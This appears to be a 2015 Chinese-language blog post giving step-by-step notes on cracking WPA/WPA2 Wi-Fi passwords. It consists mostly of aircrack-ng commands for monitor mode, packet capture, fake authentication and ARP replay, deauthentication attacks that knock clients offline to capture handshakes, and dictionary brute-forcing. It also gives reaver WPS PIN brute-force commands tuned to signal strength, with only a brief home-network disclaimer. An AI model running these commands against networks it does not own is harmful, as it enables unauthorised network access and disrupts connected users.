WPA/WAP2wifi 密碼破解筆記

有價值炮灰發表於2015-08-22

    前言:

    相對於前一段時間脆弱的WEP路由器而言,當今的路由器加密方式也大都改變為WPA/WPA2,使得無線路由器的破解難度增加。雖然如此,但還是有很多漏洞層出不窮,如WPS。退一步來說,即使加密演算法無懈可擊,我們還可以針對安全防護中最脆弱的——人——來進行破解。人的想象力實在是匱乏的很,往往設定密碼來來回回就是那麼幾類,用一個常見的弱口令字典,往往就能在10分鐘左右把其密碼暴力破解出來。這裡提供一種常見的破解方式,僅僅作為個人實驗用,最好在自己的家庭網路中測試,以免給別人帶來不便。

    準備工具:

1.Linux作業系統,Windows下可以用虛擬機器代替。

2.安裝aircrack-ng(Kali作業系統自帶)

3.安裝reaver(可選)

 

Step1.檢視網路卡資訊,記錄無線網路卡MAC地址

   ifconfig -a   (以管理員許可權執行,下同)

   這裡假設本機MAC地址為:00:0F:B5:88:AC:82

Step2.開啟無線網路卡,設定為監聽模式

    airmon-ng start wlan0  [通道號]  
    其中通道號可以先不填

    開啟後可以ifconfig看到多了個介面mon0,即為監聽介面

Step3.搜尋周圍的無線網路

    airodump-ng mon0

    找到待破解的AP,記錄BSSID(這裡假設為00:14:6C:7E:40:80),通道號(這裡假定為 6),ESSID(設為myWiFi)

    這裡假設

Step4.測試無線裝置的注入

    aireplay-ng -9 -e myWiFi -a 00:14:6C:7E:40:80 mon0

其中

  • -9 表示注入測試
  • -e myWiFi 是無線網路名字
  • -a 00:14:6C:7E:40:80 是接入點的MAC地址
  • mon0 是無線介面名字

    返回結果的最後一行表示注入成功率,一般比較高,如果很低表示離AP太遠了

Step5.開始抓包

    airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w output mon0

Step6. 虛擬認證(可選,只在AP為WEP加密的時候才有效)

    為了AP能夠接收packet,源MAC地址必須已經連線。如果你正在注入的源MAC地址沒有連線,AP會忽略所有包併傳送一個“DeAuthentication“包。這種情況下,不會有新的IVs被建立。

缺少和AP的連線是注入失敗的一個常見原因,記住:你用來注入的MAC地址必須連線AP(通過虛擬認證或者使用已經連線的客戶端MAC)

虛擬認證:

aireplay-ng -1 0 -e myWiFi -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

其中:
  • -1 表示虛擬認證(fake authentication)
  • 0 表示重新認證的時間(秒)
  • -e myWiFi 是無線網路名稱
  • -a 00:14:6C:7E:40:80 是接入點MAC地址
  • -h 00:0F:B5:88:AC:82 是我們網路卡的MAC地址
  • mon0是無線介面名稱

成功有類似下面的輸出:

18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)

另外還可以:

aireplay-ng -1 6000 -o 1 -q 10 -e myWiFi -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

其中:

  • 6000 - 每6000秒重新認證一次. 長週期同時也會導致傳送keep alive packets
  • -o 1 - 一次僅傳送一組包,預設傳送多組,這樣會對某些AP導致混亂
  • -q 10 - 每10秒傳送一次keep alive packets

成功有類似下面輸出:

18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# and so on.

Step7.ARP請求重播攻擊(可選,只在虛擬認證成功時才有效)

   airodump抓包速度比較慢,為了加速包的產生,我們可以使用傳統的ARP請求重播攻擊(ARP request replay attack)來快速生成IVs(Initialization Vectors):

aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

這裡值得一提的是,從前為了破解WEP加密的WIFI,我們需要收集足夠多的IVS。如果運氣好的話,通常40位WEP(64位金鑰)用30萬IVs就可以破解,104位WEP(128位金鑰)有150萬IVs可以破解,運氣不好的話需要更多。為此我們需要用ARP注入的方式加開撲捉IVs的速度。但對於WPA/WPA2我們則沒有類
似破解辦法,只能通過撲捉握手包來進行暴力破解。

Step8.攻擊目標客戶端使其掉線,獲取握手包

    這是和WEP破解最顯著的區別,由於WPA需要暴力破解,因此抓的包裡必須至少包含一個握手包,我們可以傳送一種稱之為“Deauth”的資料包來將已連線至無線路由器的合法無線客戶端斷開,此時客戶端就會重新連線無線路由器,我們也就有機會捕獲到包含WPA-PSK握手驗證的完整資料包了。命令為:

  aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c clientMAC mon0

其中:

  • -0表示採用deauth攻擊模式,後賣弄加上攻擊次數,這裡設定為1,可以根據情況設定為1-10不等(不要設太多不然對方會頻繁掉線)
  • -a 為AP的MAC , -c為已連線的客戶端MAC

Step9.暴力破解抓下來的包

   一旦捕捉到WPA handshake,我們就可以開始進行破解了:

 aircrack-ng -b 00:14:6C:7E:40:80 output*.cap -w yourdic

其中:

  • -b 00:14:6C:7E:40:80 選擇了一個我們感興趣的接入點,這是可選的,因為我們捕捉資料的時候就已經指定了此AP而忽略其他.
  • output*.cap 選擇我們在Step5裡用airodump抓下來的包.
  • -w 指定一個破解的字典。破解的效率和字典的選擇有很大關係,一般選用弱口令字典,因為強口令破解時間太長,得不償失。

 

  這裡值得一提的是,像用預先計算好的像彩虹表一樣的配對錶(Pairwise Master Keys)來進行破解也是不行的,因為口令都用ESSID加了鹽。

 

其他方法(WPS破解):

除了這樣通用的暴力破解外,我們還可以用reaver來破解帶WPS的路由器的PIN碼,但是對訊號的要求很高,如果AP的訊號很強,或者自己的無線網路卡很給力,也可以採用這種方式。優點是字典無關,無論路由器密碼多強都能破解出來,在我的筆記本上嘗試破解了自己家的WIFI密碼,花了大概5個小時。

    以上述AP為例,可以用命令列執行

reaver  -i  mon0  -b 00:14:6C:7E:40:80  -a  -S  -vv  -d2  -t 5 -c 1

其中:

-i 監聽後介面名稱
-b 目標mac地址
-a 自動檢測目標AP最佳配置
-S 使用最小的DH key(可以提高PJ速度)
-vv 顯示更多的非嚴重警告
-d 即delay每窮舉一次的閒置時間 預設為1秒
-t 即timeout每次窮舉等待反饋的最長時間
-c指定頻道可以方便找到訊號,如-c1 指定1頻道,大家檢視自己的目標頻道做相應修改 (非TP-LINK路由推薦–d9 –t9引數防止路由僵死
示例:
reaver -i mon0 -b MAC -a -S –d9 –t9 -vv)
應因狀況調整引數(-c後面都已目標頻道為1作為例子)
目標訊號非常好: reaver -i mon0 -b MAC -a -S -vv -d0 -c 1
目標訊號普通: reaver -i mon0 -b MAC -a -S -vv -d2 -t 5 -c 1
目標訊號一般: reaver -i mon0 -b MAC -a -S -vv -d5 -c 1

 

refernce:http://www.aircrack-ng.org/doku.php?id=simple_wep_crack

相關文章